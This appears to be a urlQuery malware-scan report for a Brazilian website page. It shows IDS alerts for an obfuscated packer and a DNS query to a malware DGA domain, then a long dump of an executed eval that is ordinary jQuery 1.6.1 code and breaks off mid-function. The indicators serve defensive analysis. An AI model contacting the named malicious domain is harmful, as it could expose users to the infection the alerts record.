Overview

URLhttp://www.plastimodel.com.br/?cat=8
IP200.201.195.188
ASNAS10733 Matrix Informatica
Location Brazil
Report completed2012-11-13 19:56:53 CET
StatusLoading report..
urlQuery Alerts Detected script marked as malicious


Settings

UserAgentMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Referer
Adobe Reader8.0
Java1.6.0_26


Intrusion Detection Systems

Suricata /w Emerging Threats Pro
Timestamp Source IP Destination IP Severity Alert
2012-11-13 19:56:20 urlQuery Client Internal IP2ET CURRENT_EVENTS DNS Query to RunForestRun DGA Domain 16-alpha.waw.pl
Snort /w Sourcefire VRT
Timestamp Source IP Destination IP Severity Alert
2012-11-13 19:56:14 200.201.195.188 urlQuery Client3INDICATOR-OBFUSCATION known packer routine with secondary obfuscation
2012-11-13 19:56:14 200.201.195.188 urlQuery Client3INDICATOR-OBFUSCATION known packer routine with secondary obfuscation


Recent reports on same IP/ASN/Domain

Last 6 reports on ASN: AS10733 Matrix Informatica

Date Alerts / IDS URL IP
2012-12-22 11:50:531 / 1http://promar.com.br/200.201.192.35
2012-12-21 19:23:341 / 0http://promar.com.br/pages/contato.html200.201.192.35
2012-12-21 12:45:561 / 0http://promar.com.br/200.201.192.35
2012-12-21 03:12:181 / 0http://promar.com.br/pages/dicas/tintas4.html200.201.192.35
2012-12-21 02:53:181 / 0http://promar.com.br/pages/dicas/ciclo20.html200.201.192.35
2012-12-21 02:10:051 / 0http://promar.com.br/pages/dicas/ciclo13.html200.201.192.35



JavaScript

Executed Scripts (6)


Executed Evals (5)

#1 JavaScript::Eval (size: 91366, repeated: 1)

/*!
 * jQuery JavaScript Library v1.6.1
 * http://jquery.com/
 *
 * Copyright 2011, John Resig
 * Dual licensed under the MIT or GPL Version 2 licenses.
 * http://jquery.org/license
 *
 * Includes Sizzle.js
 * http://sizzlejs.com/
 * Copyright 2011, The Dojo Foundation
 * Released under the MIT, BSD, and GPL Licenses.
 *
 * Date: Thu May 12 15:04:36 2011 -0400
 */
(function(a, b) {
    function cy(a) {
        return f.isWindow(a) ? a : a.nodeType === 9 ? a.defaultView || a.parentWindow : !1
    }
    function cv(a) {
        if (!cj[a]) {
            var b = f("<" + a + ">").appendTo("body"),
                d = b.css("display");
            b.remove();
            if (d === "none" || d === "") {
                ck || (ck = c.createElement("iframe"), ck.frameBorder = ck.width = ck.height = 0), c.body.appendChild(ck);
                if (!cl || !ck.createElement) cl = (ck.contentWindow || ck.contentDocument).document, cl.write("<!doctype><html><body></body></html>");
                b = cl.createElement(a), cl.body.appendChild(b), d = f.css(b, "display"), c.body.removeChild(ck)
            }
            cj[a] = d
        }
        return cj[a]
    }
    function cu(a, b) {
        var c = {};
        f.each(cp.concat.apply([], cp.slice(0, b)), function() {
            c[this] = a
        });
        return c
    }
    function ct() {
        cq = b
    }
    function cs() {
        setTimeout(ct, 0);
        return cq = f.now()
    }
    function ci() {
        try {
            return new a.ActiveXObject("Microsoft.XMLHTTP")
        } catch (b) {}
    }
    function ch() {
        try {
            return new a.XMLHttpRequest
        } catch (b) {}
    }
    function cb(a, c) {
        a.dataFilter && (c = a.dataFilter(c, a.dataType));
        var d = a.dataTypes,
            e = {},
            g, h, i = d.length,
            j, k = d[0],
            l, m, n, o, p;
        for (g = 1; g < i; g++) {
            if (g === 1) for (h in a.converters) typeof h == "string" && (e[h.toLowerCase()] = a.converters[h]);
            l = k, k = d[g];
            if (k === "*") k = l;
            else if (l !== "*" && l !== k) {
                m = l + " " + k, n = e[m] || e["* " + k];
                if (!n) {
                    p = b;
                    for (o in e) {
                        j = o.split(" ");
                        if (j[0] === l || j[0] === "*") {
                            p = e[j[1] + " " + k];
                            if (p) {
                                o = e[o], o === !0 ? n = p : p === !0 && (n = o);
                                break
                            }
                        }
                    }
                }!n && !p && f.error("No conversion from " + m.replace(" ", " to ")), n !== !0 && (c = n ? n(c) : p(o(c)))
            }
        }
        return c
    }
    function ca(a, c, d) {
        var e = a.contents,
            f = a.dataTypes,
            g = a.responseFields,
            h, i, j, k;
        for (i in g) i in d && (c[g[i]] = d[i]);
        while (f[0] === "*") f.shift(), h === b && (h = a.mimeType || c.getResponseHeader("content-type"));
        if (h) for (i in e) if (e[i] && e[i].test(h)) {
            f.unshift(i);
            break
        }
        if (f[0] in d) j = f[0];
        else {
            for (i in d) {
                if (!f[0] || a.converters[i + " " + f[0]]) {
                    j = i;
                    break
                }
                k || (k = i)
            }
            j = j || k
        }
        if (j) {
            j !== f[0] && f.unshift(j);
            return d[j]
        }
    }
    function b_(a, b, c, d) {
        if (f.isArray(b)) f.each(b, function(b, e) {
            c || bF.test(a) ? d(a, e) : b_(a + "[" + (typeof e == "object" || f.isArray(e) ? b : "") + "]", e, c, d)
        });
        else if (!c && b != null && typeof b == "object") for (var e in b) b_(a + "[" + e + "]", b[e], c, d);
        else d(a, b)
    }
    function b$(a, c, d, e, f, g) {
        f = f || c.dataTypes[0], g = g || {}, g[f] = !0;
        var h = a[f],
            i = 0,
            j = h ? h.length : 0,
            k = a === bU,
            l;
        for (; i < j && (k || !l); i++) l = h[i](c, d, e), typeof l == "string" && (!k || g[l] ? l = b : (c.dataTypes.unshift(l), l = b$(a, c, d, e, l, g)));
        (k || !l) && !g["*"] && (l = b$(a, c, d, e, "*", g));
        return l
    }
    function bZ(a) {
        return function(b, c) {
            typeof b != "string" && (c = b, b = "*");
            if (f.isFunction(c)) {
                var d = b.toLowerCase().split(bQ),
                    e = 0,
                    g = d.length,
                    h, i, j;
                for (; e < g; e++) h = d[e], j = /^\+/.test(h), j && (h = h.substr(1) || "*"), i = a[h] = a[h] || [], i[j ? "unshift" : "push"](c)
            }
        }
    }
    function bD(a, b, c) {
        var d = b === "width" ? bx : by,
            e = b === "width" ? a.offsetWidth : a.offsetHeight;
        if (c === "border") return e;
        f.each(d, function() {
            c || (e -= parseFloat(f.css(a, "padding" + this)) || 0), c === "margin" ? e += parseFloat(f.css(a, "margin" + this)) || 0 : e -= parseFloat(f.css(a, "border" + this + "Width")) || 0
        });
        return e
    }
    function bn(a, b) {
        b.src ? f.ajax({
            url: b.src,
            async: !1,
            dataType: "script"
        }) : f.globalEval((b.text || b.textContent || b.innerHTML || "").replace(bf, "/*$0*/")), b.parentNode && b.parentNode.removeChild(b)
    }
    function bm(a) {
        f.nodeName(a, "input") ? bl(a) : a.getElementsByTagName && f.grep(a.getElementsByTagName("input"), bl)
    }
    function bl(a) {
        if (a.type === "checkbox" || a.type === "radio") a.defaultChecked = a.checked
    }
    function bk(a) {
        return "getElementsByTagName" in a ? a.getElementsByTagName("*") : "querySelectorAll" in a ? a.querySelectorAll("*") : []
    }
    function bj(a, b) {
        var c;
        if (b.nodeType === 1) {
            b.clearAttributes && b.clearAttributes(), b.mergeAttributes && b.mergeAttributes(a), c = b.nodeName.toLowerCase();
            if (c === "object") b.outerHTML = a.outerHTML;
            else if (c !== "input" || a.type !== "checkbox" && a.type !== "radio") {
                if (c === "option") b.selected = a.defaultSelected;
                else if (c === "input" || c === "textarea") b.defaultValue = a.defaultValue
            } else a.checked && (b.defaultChecked = b.checked = a.checked), b.value !== a.value && (b.value = a.value);
            b.removeAttribute(f.expando)
        }
    }
    function bi(a, b) {
        if (b.nodeType === 1 && !! f.hasData(a)) {
            var c = f.expando,
                d = f.data(a),
                e = f.data(b, d);
            if (d = d[c]) {
                var g = d.events;
                e = e[c] = f.extend({}, d);
                if (g) {
                    delete e.handle, e.events = {};
                    for (var h in g) for (var i = 0, j = g[h].length; i < j; i++) f.event.add(b, h + (g[h][i].namespace ? "." : "") + g[h][i].namespace, g[h][i], g[h][i].data)
                }
            }
        }
    }
    function bh(a, b) {
        return f.nodeName(a, "table") ? a.getElementsByTagName("tbody")[0] || a.appendChild(a.ownerDocument.createElement("tbody")) : a
    }
    function X(a, b, c) {
        b = b || 0;
        if (f.isFunction(b)) return f.grep(a, function(a, d) {
            var e = !! b.call(a, d, a);
            return e === c
        });
        if (b.nodeType) return f.grep(a, function(a, d) {
            return a === b === c
        });
        if (typeof b == "string") {
            var d = f.grep(a, function(a) {
                return a.nodeType === 1
            });
            if (S.test(b)) return f.filter(b, d, !c);
            b = f.filter(b, d)
        }
        return f.grep(a, function(a, d) {
            return f.inArray(a, b) >= 0 === c
        })
    }
    function W(a) {
        return !a || !a.parentNode || a.parentNode.nodeType === 11
    }
    function O(a, b) {
        return (a && a !== "*" ? a + "." : "") + b.replace(A, "`").replace(B, "&")
    }
    function N(a) {
        var b, c, d, e, g, h, i, j, k, l, m, n, o, p = [],
            q = [],
            r = f._data(this, "events");
        if (!(a.liveFired === this || !r || !r.live || a.target.disabled || a.button && a.type === "click")) {
            a.namespace && (n = new RegExp("(^|\\.)" + a.namespace.split(".").join("\\.(?:.*\\.)?") + "(\\.|$)")), a.liveFired = this;
            var s = r.live.slice(0);
            for (i = 0; i < s.length; i++) g = s[i], g.origType.replace(y, "") === a.type ? q.push(g.selector) : s.splice(i--, 1);
            e = f(a.target).closest(q, a.currentTarget);
            for (j = 0, k = e.length; j < k; j++) {
                m = e[j];
                for (i = 0; i < s.length; i++) {
                    g = s[i];
                    if (m.selector === g.selector && (!n || n.test(g.namespace)) && !m.elem.disabled) {
                        h = m.elem, d = null;
                        if (g.preType === "mouseenter" || g.preType === "mouseleave") a.type = g.preType, d = f(a.relatedTarget).closest(g.selector)[0], d && f.contains(h, d) && (d = h);
                        (!d || d !== h) && p.push({
                            elem: h,
                            handleObj: g,
                            level: m.level
                        })
                    }
                }
            }
            for (j = 0, k = p.length; j < k; j++) {
                e = p[j];
                if (c && e.level > c) break;
                a.currentTarget = e.elem, a.data = e.handleObj.data, a.handleObj = e.handleObj, o = e.handleObj.origHandler.apply(e.elem, arguments);
                if (o === !1 || a.isPropagationStopped()) {
                    c = e.level, o === !1 && (b = !1);
                    if (a.isImmediatePropagationStopped()) break
                }
            }
            return b
        }
    }
    function L(a, c, d) {
        var e = f.extend({}, d[0]);
        e.type = a, e.originalEvent = {}, e.liveFired = b, f.event.handle.call(c, e), e.isDefaultPrevented() && d[0].preventDefault()
    }
    function F() {
        return !0
    }
    function E() {
        return !1
    }
    function m(a, c, d) {
        var e = c + "defer",
            g = c + "queue",
            h = c + "mark",
            i = f.data(a, e, b, !0);
        i && (d === "queue" || !f.data(a, g, b, !0)) && (d === "mark" || !f.data(a, h, b, !0)) && setTimeout(function() {
            !f.data(a, g, b, !0) && !f.data(a, h, b, !0) && (f.removeData(a, e, !0), i.resolve())
        }, 0)
    }
    function l(a) {
        for (var b in a) if (b !== "toJSON") return !1;
        return !0
    }
    function k(a, c, d) {
        if (d === b && a.nodeType === 1) {
            var e = "data-" + c.replace(j, "$1-$2").toLowerCase();
            d = a.getAttribute(e);
            if (typeof d == "string") {
                try {
                    d = d === "true" ? !0 : d === "false" ? !1 : d === "null" ? null : f.isNaN(d) ? i.test(d) ? f.parseJSON(d) : d : parseFloat(d)
                } catch (g) {}
                f.data(a, c, d)
            } else d = b
        }
        return d
    }
    var c = a.document,
        d = a.navigator,
        e = a.location,
        f = function() {
            function H() {
                if (!e.isReady) {
                    try {
                        c.documentElement.doScroll("left")
                    } catch (a) {
                        setTimeout(H, 1);
                        return
                    }
                    e.ready()
                }
            }
            var e = function(a, b) {
                    return new e.fn.init(a, b, h)
                },
                f = a.jQuery,
                g = a.$,
                h, i = /^(?:[^<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,
                j = /\S/,
                k = /^\s+/,
                l = /\s+$/,
                m = /\d/,
                n = /^<(\w+)\s*\/?>(?:<\/\1>)?$/,
                o = /^[\],:{}\s]*$/,
                p = /\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,
                q = /"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,
                r = /(?:^|:|,)(?:\s*\[)+/g,
                s = /(webkit)[ \/]([\w.]+)/,
                t = /(opera)(?:.*version)?[ \/]([\w.]+)/,
                u = /(msie) ([\w.]+)/,
                v = /(mozilla)(?:.*? rv:([\w.]+))?/,
                w = d.userAgent,
                x, y, z, A = Object.prototype.toString,
                B = Object.prototype.hasOwnProperty,
                C = Array.prototype.push,
                D = Array.prototype.slice,
                E = String.prototype.trim,
                F = Array.prototype.indexOf,
                G = {};
            e.fn = e.prototype = {
                constructor: e,
                init: function(a, d, f) {
                    var g, h, j, k;
                    if (!a) return this;
                    if (a.nodeType) {
                        this.context = this[0] = a, this.length = 1;
                        return this
                    }
                    if (a === "body" && !d && c.body) {
                        this.context = c, this[0] = c.body, this.selector = a, this.length = 1;
                        return this
                    }
                    if (typeof a == "string") {
                        a.charAt(0) !== "<" || a.charAt(a.length - 1) !== ">" || a.length < 3 ? g = i.exec(a) : g = [null, a, null];
                        if (g && (g[1] || !d)) {
                            if (g[1]) {
                                d = d instanceof e ? d[0] : d, k = d ? d.ownerDocument || d : c, j = n.exec(a), j ? e.isPlainObject(d) ? (a = [c.createElement(j[1])], e.fn.attr.call(a, d, !0)) : a = [k.createElement(j[1])] : (j = e.buildFragment([g[1]], [k]), a = (j.cacheable ? e.clone(j.fragment) : j.fragment).childNodes);
                                return e.merge(this, a)
                            }
                            h = c.getElementById(g[2]);
                            if (h && h.parentNode) {
                                if (h.id !== g[2]) return f.find(a);
                                this.length = 1, this[0] = h
                            }
                            this.context = c, this.selector = a;
                            return this
                        }
                        return !d || d.jquery ? (d || f).find(a) : this.constructor(d).find(a)
                    }
                    if (e.isFunction(a)) return f.ready(a);
                    a.selector !== b && (this.selector = a.selector, this.context = a.context);
                    return e.makeArray(a, this)
                },
                selector: "",
                jquery: "1.6.1",
                length: 0,
                size: function() {
                    return this.length
                },
                toArray: function() {
                    return D.call(this, 0)
                },
                get: function(a) {
                    return a == null ? this.toArray() : a < 0 ? this[this.length + a] : this[a]
                },
                pushStack: function(a, b, c) {
                    var d = this.constructor();
                    e.isArray(a) ? C.apply(d, a) : e.merge(d, a), d.prevObject = this, d.context = this.context, b === "find" ? d.selector = this.selector + (this.selector ? " " : "") + c : b && (d.selector = this.selector + "." + b + "(" + c + ")");
                    return d
                },
                each: function(a, b) {
                    return e.each(this, a, b)
                },
                ready: function(a) {
                    e.bindReady(), y.done(a);
                    return this
                },
                eq: function(a) {
                    return a === -1 ? this.slice(a) : this.slice(a, +a + 1)
                },
                first: function() {
                    return this.eq(0)
                },
                last: function() {
                    return this.eq(-1)
                },
                slice: function() {
                    return this.pushStack(D.apply(this, arguments), "slice", D.call(arguments).join(","))
                },
                map: function(a) {
                    return this.pushStack(e.map(this, function(b, c) {
                        return a.call(b, c, b)
                    }))
                },
                end: function() {
                    return this.prevObject || this.constructor(null)
                },
                push: C,
                sort: [].sort,
                splice: [].splice
            }, e.fn.init.prototype = e.fn, e.extend = e.fn.extend = function() {
                var a, c, d, f, g, h, i = arguments[0] || {},
                    j = 1,
                    k = arguments.length,
                    l = !1;
                typeof i == "boolean" && (l = i, i = arguments[1] || {}, j = 2), typeof i != "object" && !e.isFunction(i) && (i = {}), k === j && (i = this, --j);
                for (; j < k; j++) if ((a = arguments[j]) != null) for (c in a) {
                    d = i[c], f = a[c];
                    if (i === f) continue;
                    l && f && (e.isPlainObject(f) || (g = e.isArray(f))) ? (g ? (g = !1, h = d && e.isArray(d) ? d : []) : h = d && e.isPlainObject(d) ? d : {}, i[c] = e.extend(l, h, f)) : f !== b && (i[c] = f)
                }
                return i
            }, e.extend({
                noConflict: function(b) {
                    a.$ === e && (a.$ = g), b && a.jQuery === e && (a.jQuery = f);
                    return e
                },
                isReady: !1,
                readyWait: 1,
                holdReady: function(a) {
                    a ? e.readyWait++ : e.ready(!0)
                },
                ready: function(a) {
                    if (a === !0 && !--e.readyWait || a !== !0 && !e.isReady) {
                        if (!c.body) return setTimeout(e.ready, 1);
                        e.isReady = !0;
                        if (a !== !0 && --e.readyWait > 0) return;
                        y.resolveWith(c, [e]), e.fn.trigger && e(c).trigger("ready").unbind("ready")
                    }
                },
                bindReady: function() {
                    if (!y) {
                        y = e._Deferred();
                        if (c.readyState === "complete") return setTimeout(e.ready, 1);
                        if (c.addEventListener) c.addEventListener("DOMContentLoaded", z, !1), a.addEventListener("load", e.ready, !1);
                        else if (c.attachEvent) {
                            c.attachEvent("onreadystatechange", z), a.attachEvent("onload", e.ready);
                            var b = !1;
                            try {
                                b = a.frameElement == null
                            } catch (d) {}
                            c.documentElement.doScroll && b && H()
                        }
                    }
                },
                isFunction: function(a) {
                    return e.type(a) === "function"
                },
                isArray: Array.isArray ||
                function(a) {
                    return e.type(a) === "array"
                },
                isWindow: function(a) {
                    return a && typeof a == "object" && "setInterval" in a
                },
                isNaN: function(a) {
                    return a == null || !m.test(a) || isNaN(a)
                },
                type: function(a) {
                    return a == null ? String(a) : G[A.call(a)] || "object"
                },
                isPlainObject: function(a) {
                    if (!a || e.type(a) !== "object" || a.nodeType || e.isWindow(a)) return !1;
                    if (a.constructor && !B.call(a, "constructor") && !B.call(a.constructor.prototype, "isPrototypeOf")) return !1;
                    var c;
                    for (c in a);
                    return c === b || B.call(a, c)
                },
                isEmptyObject: function(a) {
                    for (var b in a) return !1;
                    return !0
                },
                error: function(a) {
                    throw a
                },
                parseJSON: function(b) {
                    if (typeof b != "string" || !b) return null;
                    b = e.trim(b);
                    if (a.JSON && a.JSON.parse) return a.JSON.parse(b);
                    if (o.test(b.replace(p, "@").replace(q, "]").replace(r, ""))) return (new Function("return " + b))();
                    e.error("Invalid JSON: " + b)
                },
                parseXML: function(b, c, d) {
                    a.DOMParser ? (d = new DOMParser, c = d.parseFromString(b, "text/xml")) : (c = new ActiveXObject("Microsoft.XMLDOM"), c.async = "false", c.loadXML(b)), d = c.documentElement, (!d || !d.nodeName || d.nodeName === "parsererror") && e.error("Invalid XML: " + b);
                    return c
                },
                noop: function() {},
                globalEval: function(b) {
                    b && j.test(b) && (a.execScript ||
                    function(b) {
                        a.eval.call(a, b)
                    })(b)
                },
                nodeName: function(a, b) {
                    return a.nodeName && a.nodeName.toUpperCase() === b.toUpperCase()
                },
                each: function(a, c, d) {
                    var f, g = 0,
                        h = a.length,
                        i = h === b || e.isFunction(a);
                    if (d) {
                        if (i) {
                            for (f in a) if (c.apply(a[f], d) === !1) break
                        } else for (; g < h;) if (c.apply(a[g++], d) === !1) break
                    } else if (i) {
                        for (f in a) if (c.call(a[f], f, a[f]) === !1) break
                    } else for (; g < h;) if (c.call(a[g], g, a[g++]) === !1) break;
                    return a
                },
                trim: E ?
                function(a) {
                    return a == null ? "" : E.call(a)
                } : function(a) {
                    return a == null ? "" : (a + "").replace(k, "").replace(l, "")
                },
                makeArray: function(a, b) {
                    var c = b || [];
                    if (a != null) {
                        var d = e.type(a);
                        a.length == null || d === "string" || d === "function" || d === "regexp" || e.isWindow(a) ? C.call(c, a) : e.merge(c, a)
                    }
                    return c
                },
                inArray: function(a, b) {
                    if (F) return F.call(b, a);
                    for (var c = 0, d = b.length; c < d; c++) if (b[c] === a) return c;
                    return -1
                },
                merge: function(a, c) {
                    var d = a.length,
                        e = 0;
                    if (typeof c.length == "number") for (var f = c.length; e < f; e++) a[d++] = c[e];
                    else while (c[e] !== b) a[d++] = c[e++];
                    a.length = d;
                    return a
                },
                grep: function(a, b, c) {
                    var d = [],
                        e;
                    c = !! c;
                    for (var f = 0, g = a.length; f < g; f++) e = !! b(a[f], f), c !== e && d.push(a[f]);
                    return d
                },
                map: function(a, c, d) {
                    var f, g, h = [],
                        i = 0,
                        j = a.length,
                        k = a instanceof e || j !== b && typeof j == "number" && (j > 0 && a[0] && a[j - 1] || j === 0 || e.isArray(a));
                    if (k) for (; i < j; i++) f = c(a[i], i, d), f != null && (h[h.length] = f);
                    else for (g in a) f = c(a[g], g, d), f != null && (h[h.length] = f);
                    return h.concat.apply([], h)
                },
                guid: 1,
                proxy: function(a, c) {
                    if (typeof c == "string") {
                        var d = a[c];
                        c = a, a = d
                    }
                    if (!e.isFunction(a)) return b;
                    var f = D.call(arguments, 2),
                        g = function() {
                            return a.apply(c, f.concat(D.call(arguments)))
                        };
                    g.guid = a.guid = a.guid || g.guid || e.guid++;
                    return g
                },
                access: function(a, c, d, f, g, h) {
                    var i = a.length;
                    if (typeof c == "object") {
                        for (var j in c) e.access(a, j, c[j], f, g, d);
                        return a
                    }
                    if (d !== b) {
                        f = !h && f && e.isFunction(d);
                        for (var k = 0; k < i; k++) g(a[k], c, f ? d.call(a[k], k, g(a[k], c)) : d, h);
                        return a
                    }
                    return i ? g(a[0], c) : b
                },
                now: function() {
                    return (new Date).getTime()
                },
                uaMatch: function(a) {
                    a = a.toLowerCase();
                    var b = s.exec(a) || t.exec(a) || u.exec(a) || a.indexOf("compatible") < 0 && v.exec(a) || [];
                    return {
                        browser: b[1] || "",
                        version: b[2] || "0"
                    }
                },
                sub: function() {
                    function a(b, c) {
                        return new a.fn.init(b, c)
                    }
                    e.extend(!0, a, this), a.superclass = this, a.fn = a.prototype = this(), a.fn.constructor = a, a.sub = this.sub, a.fn.init = function(d, f) {
                        f && f instanceof e && !(f instanceof a) && (f = a(f));
                        return e.fn.init.call(this, d, f, b)
                    }, a.fn.init.prototype = a.fn;
                    var b = a(c);
                    return a
                },
                browser: {}
            }), e.each("Boolean Number String Function Array Date RegExp Object".split(" "), function(a, b) {
                G["[object " + b + "]"] = b.toLowerCase()
            }), x = e.uaMatch(w), x.browser && (e.browser[x.browser] = !0, e.browser.version = x.version), e.browser.webkit && (e.browser.safari = !0), j.test(" ") && (k = /^[\s\xA0]+/, l = /[\s\xA0]+$/), h = e(c), c.addEventListener ? z = function() {
                c.removeEventListener("DOMContentLoaded", z, !1), e.ready()
            } : c.attachEvent && (z = function() {
                c.readyState === "complete" && (c.detachEvent("onreadystatechange", z), e.ready())
            });
            return e
        }(),
        g = "done fail isResolved isRejected promise then always pipe".split(" "),
        h = [].slice;
    f.extend({
        _Deferred: function() {
            var a = [],
                b, c, d, e = {
                    done: function() {
                        if (!d) {
                            var c = arguments,
                                g, h, i, j, k;
                            b && (k = b, b = 0);
                            for (g = 0, h = c.length; g < h; g++) i = c[g], j = f.type(i), j === "array" ? e.done.apply(e, i) : j === "function" && a.push(i);
                            k && e.resolveWith(k[0], k[1])
                        }
                        return this
                    },
                    resolveWith: function(e, f) {
                        if (!d && !b && !c) {
                            f = f || [], c = 1;
                            try {
                                while (a[0]) a.shift().apply(e, f)
                            } finally {
                                b = [e, f], c = 0
                            }
                        }
                        return this
                    },
                    resolve: function() {
                        e.resolveWith(this, arguments);
                        return this
                    },
                    isResolved: function() {
                        return !!c || !! b
                    },
                    cancel: function() {
                        d = 1, a = [];
                        return this
                    }
                };
            return e
        },
        Deferred: function(a) {
            var b = f._Deferred(),
                c = f._Deferred(),
                d;
            f.extend(b, {
                then: function(a, c) {
                    b.done(a).fail(c);
                    return this
                },
                always: function() {
                    return b.done.apply(b, arguments).fail.apply(this, arguments)
                },
                fail: c.done,
                rejectWith: c.resolveWith,
                reject: c.resolve,
                isRejected: c.isResolved,
                pipe: function(a, c) {
                    return f.Deferred(function(d) {
                        f.each({
                            done: [a, "resolve"],
                            fail: [c, "reject"]
                        }, function(a, c) {
                            var e = c[0],
                                g = c[1],
                                h;
                            f.isFunction(e) ? b[a](function() {
                                h = e.apply(this, arguments), h && f.isFunction(h.promise) ? h.promise().then(d.resolve, d.reject) : d[g](h)
                            }) : b[a](d[g])
                        })
                    }).promise()
                },
                promise: function(a) {
                    if (a == null) {
                        if (d) return d;
                        d = a = {}
                    }
                    var c = g.length;
                    while (c--) a[g[c]] = b[g[c]];
                    return a
                }
            }), b.done(c.cancel).fail(b.cancel), delete b.cancel, a && a.call(b, b);
            return b
        },
        when: function(a) {
            function i(a) {
                return function(c) {
                    b[a] = arguments.length > 1 ? h.call(arguments, 0) : c, --e || g.resolveWith(g, h.call(b, 0))
                }
            }
            var b = arguments,
                c = 0,
                d = b.length,
                e = d,
                g = d <= 1 && a && f.isFunction(a.promise) ? a : f.Deferred();
            if (d > 1) {
                for (; c < d; c++) b[c] && f.isFunction(b[c].promise) ? b[c].promise().then(i(c), g.reject) : --e;
                e || g.resolveWith(g, b)
            } else g !== a && g.resolveWith(g, d ? [a] : []);
            return g.promise()
        }
    }), f.support = function() {
        var a = c.createElement("div"),
            b = c.documentElement,
            d, e, f, g, h, i, j, k, l, m, n, o, p, q, r;
        a.setAttribute("className", "t"), a.innerHTML = "   <link/><table></table><a href='/a' style='top:1px;float:left;opacity:.55;'>a</a><input type='checkbox'/>", d = a.getElementsByTagName("*"), e = a.getElementsByTagName("a")[0];
        if (!d || !d.length || !e) return {};
        f = c.createElement("select"), g = f.appendChild(c.createElement("option")), h = a.getElementsByTagName("input")[0], j = {
            leadingWhitespace: a.firstChild.nodeType === 3,
            tbody: !a.getElementsByTagName("tbody").length,
            htmlSerialize: !! a.getElementsByTagName("link").length,
            style: /top/.test(e.getAttribute("style")),
            hrefNormalized: e.getAttribute("href") === "/a",
            opacity: /^0.55$/.test(e.style.opacity),
            cssFloat: !! e.style.cssFloat,
            checkOn: h.value === "on",
            optSelected: g.selected,
            getSetAttribute: a.className !== "t",
            submitBubbles: !0,
            changeBubbles: !0,
            focusinBubbles: !1,
            deleteExpando: !0,
            noCloneEvent: !0,
            inlineBlockNeedsLayout: !1,
            shrinkWrapBlocks: !1,
            reliableMarginRight: !0
        }, h.checked = !0, j.noCloneChecked = h.cloneNode(!0).checked, f.disabled = !0, j.optDisabled = !g.disabled;
        try {
            delete a.test
        } catch (s) {
            j.deleteExpando = !1
        }!a.addEventListener && a.attachEvent && a.fireEvent && (a.attachEvent("onclick", function b() {
            j.noCloneEvent = !1, a.detachEvent("onclick", b)
        }), a.cloneNode(!0).fireEvent("onclick")), h = c.createElement("input"), h.value = "t", h.setAttribute("type", "radio"), j.radioValue = h.value === "t", h.setAttribute("checked", "checked"), a.appendChild(h), k = c.createDocumentFragment(), k.appendChild(a.firstChild), j.checkClone = k.cloneNode(!0).cloneNode(!0).lastChild.checked, a.innerHTML = "", a.style.width = a.style.paddingLeft = "1px", l = c.createElement("body"), m = {
            visibility: "hidden",
            width: 0,
            height: 0,
            border: 0,
            margin: 0,
            background: "none"
        };
        for (q in m) l.style[q] = m[q];
        l.appendChild(a), b.insertBefore(l, b.firstChild), j.appendChecked = h.checked, j.boxModel = a.offsetWidth === 2, "zoom" in a.style && (a.style.display = "inline", a.style.zoom = 1, j.inlineBlockNeedsLayout = a.offsetWidth === 2, a.style.display = "", a.innerHTML = "<div style='width:4px;'></div>", j.shrinkWrapBlocks = a.offsetWidth !== 2), a.innerHTML = "<table><tr><td style='padding:0;border:0;display:none'></td><td>t</td></tr></table>", n = a.getElementsByTagName("td"), r = n[0].offsetHeight === 0, n[0].style.display = "", n[1].style.display = "none", j.reliableHiddenOffsets = r && n[0].offsetHeight === 0, a.innerHTML = "", c.defaultView && c.defaultView.getComputedStyle && (i = c.createElement("div"), i.style.width = "0", i.style.marginRight = "0", a.appendChild(i), j.reliableMarginRight = (parseInt((c.defaultView.getComputedStyle(i, null) || {
            marginRight: 0
        }).marginRight, 10) || 0) === 0), l.innerHTML = "", b.removeChild(l);
        if (a.attachEvent) for (q in {
            submit: 1,
            change: 1,
            focusin: 1
        }) p = "on" + q, r = p in a, r || (a.setAttribute(p, "return;"), r = typeof a[p] == "function"), j[q + "Bubbles"] = r;
        return j
    }(), f.boxModel = f.support.boxModel;
    var i = /^(?:\{.*\}|\[.*\])$/,
        j = /([a-z])([A-Z])/g;
    f.extend({
        cache: {},
        uuid: 0,
        expando: "jQuery" + (f.fn.jquery + Math.random()).replace(/\D/g, ""),
        noData: {
            embed: !0,
            object: "clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",
            applet: !0
        },
        hasData: function(a) {
            a = a.nodeType ? f.cache[a[f.expando]] : a[f.expando];
            return !!a && !l(a)
        },
        data: function(a, c, d, e) {
            if ( !! f.acceptData(a)) {
                var g = f.expando,
                    h = typeof c == "string",
                    i, j = a.nodeType,
                    k = j ? f.cache : a,
                    l = j ? a[f.expando] : a[f.expando] && f.expando;
                if ((!l || e && l && !k[l][g]) && h && d === b) return;
                l || (j ? a[f.expando] = l = ++f.uuid : l = f.expando), k[l] || (k[l] = {}, j || (k[l].toJSON = f.noop));
                if (typeof c == "object" || typeof c == "function") e ? k[l][g] = f.extend(k[l][g], c) : k[l] = f.extend(k[l], c);
                i = k[l], e && (i[g] || (i[g] = {}), i = i[g]), d !== b && (i[f.camelCase(c)] = d);
                if (c === "events" && !i[c]) return i[g] && i[g].events;
                return h ? i[f.camelCase(c)] : i
            }
        },
        removeData: function(b, c, d) {
            if ( !! f.acceptData(b)) {
                var e = f.expando,
                    g = b.nodeType,
                    h = g ? f.cache : b,
                    i = g ? b[f.expando] : f.expando;
                if (!h[i]) return;
                if (c) {
                    var j = d ? h[i][e] : h[i];
                    if (j) {
                        delete j[c];
                        if (!l(j)) return
                    }
                }
                if (d) {
                    delete h[i][e];
                    if (!l(h[i])) return
                }
                var k = h[i][e];
                f.support.deleteExpando || h != a ? delete h[i] : h[i] = null, k ? (h[i] = {}, g || (h[i].toJSON = f.noop), h[i][e] = k) : g && (f.support.deleteExpando ? delete b[f.expando] : b.removeAttribute ? b.removeAttribute(f.expando) : b[f.expando] = null)
            }
        },
        _data: function(a, b, c) {
            return f.data(a, b, c, !0)
        },
        acceptData: function(a) {
            if (a.nodeName) {
                var b = f.noData[a.nodeName.toLowerCase()];
                if (b) return b !== !0 && a.getAttribute("classid") === b
            }
            return !0
        }
    }), f.fn.extend({
        data: function(a, c) {
            var d = null;
            if (typeof a == "undefined") {
                if (this.length) {
                    d = f.data(this[0]);
